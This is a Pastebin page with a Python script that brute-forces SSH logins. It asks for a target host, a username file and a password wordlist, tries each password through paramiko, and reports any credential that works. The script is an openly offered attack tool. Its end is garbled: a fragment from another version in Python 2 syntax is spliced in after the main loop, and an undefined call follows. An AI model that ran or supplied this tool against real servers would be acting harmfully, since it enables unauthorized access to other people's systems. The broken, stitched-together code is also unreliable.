SHARE
TWEET

Untitled

a guest Dec 31st, 2018 99 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import paramiko
  2. import sys
  3. import os
  4. import socket
  5. global host, username, line, input_file
  6.  
  7. line = "\n-------------------------------------------------------\n"
  8.  
  9. # return 0 if credentials used to connect to SSH server are correct
  10. #Python 3
  11.  
  12. def ssh_connect(password, code=0):
  13.     ssh = paramiko.SSHClient()
  14.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  15.  
  16.     try:
  17.         ssh.connect(host, port=22, username=username, password=password)
  18.     # return 1 if credentials are wrong
  19.     except paramiko.AuthenticationException:
  20.         code = 1
  21.     # return 2 if connection fails
  22.     except socket.error:
  23.         code = 2
  24.  
  25.     ssh.close()
  26.     return code
  27.  
  28.  
  29. # collect program information
  30. try:
  31.     # hold target address
  32.     # hold ssh username to be bruteforced
  33.     # hold file path string
  34.    
  35.     #python3 raw_input is input()
  36.     host = input("[*] Enter Target Host Address: ")
  37.     username = input("[*] Enter SSH Username: ")
  38.     #Use File instead of manual testing
  39. #    input_file = input("[*] Enter SSH Password File: ")
  40. # Username file
  41.     if os.path.exists(username) == False:
  42.         print ("\n[*] File Path Does Not Exist !!!")
  43.         sys.exit(4)
  44. except KeyboardInterrupt:
  45.     print ("\n\n[*] User Requested An Interrupt")
  46.     sys.exit(3)
  47.  
  48. username = open(username)
  49. print ("")
  50. for i in username.readlines():
  51.     username = i.strip("\n")
  52. username.close()
  53.  
  54.  
  55.     # check if file exists. If it doesn't, print as follows.
  56. input_file = input("[*] Enter SSH Password File: ")
  57. if os.path.exists(input_file) == False:
  58.         print ("\n[*] File Path Does Not Exist !!!")
  59.         sys.exit(4)
  60. #except KeyboardInterrupt:
  61.    # print ("\n\n[*] User Requested An Interrupt")
  62.   #  sys.exit(3)
  63.  
  64. input_file = open(input_file)
  65. print ("")
  66. for b in input_file.readlines():
  67.     password = b.strip("\n")
  68.     try:
  69.         response = ssh_connect(password)
  70.  
  71.         if response == 0:
  72.             print("%s[*] User: %s [*] Pass Found: %s%s" %
  73.                   (line, username, password, line))
  74.             sys.exit(0)
  75.         elif response == 1:
  76.             print("[*] User: %s [*] Pass: %s => Login Incorrect!!! <=" %
  77.                   (username, password))
  78.         elif response == 2:
  79.             print("[*] COnnection Could Not Be Established To Address: %s" % (host))
  80.             sys.exit(2)
  81.     except Exception:
  82.         print ("Exception")
  83.         pass
  84.  
  85. input_file.close()s [*] Pass %s ==> Login Incorrect !!! <==" % (username, password))
  86.         elif response == 2:
  87.             print("[*] Connection Failed: %s" % (host))
  88.             sys.exit(2)
  89.     except Exception, e:
  90.         print e
  91.         pass
  92.  
  93. input_file_close()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top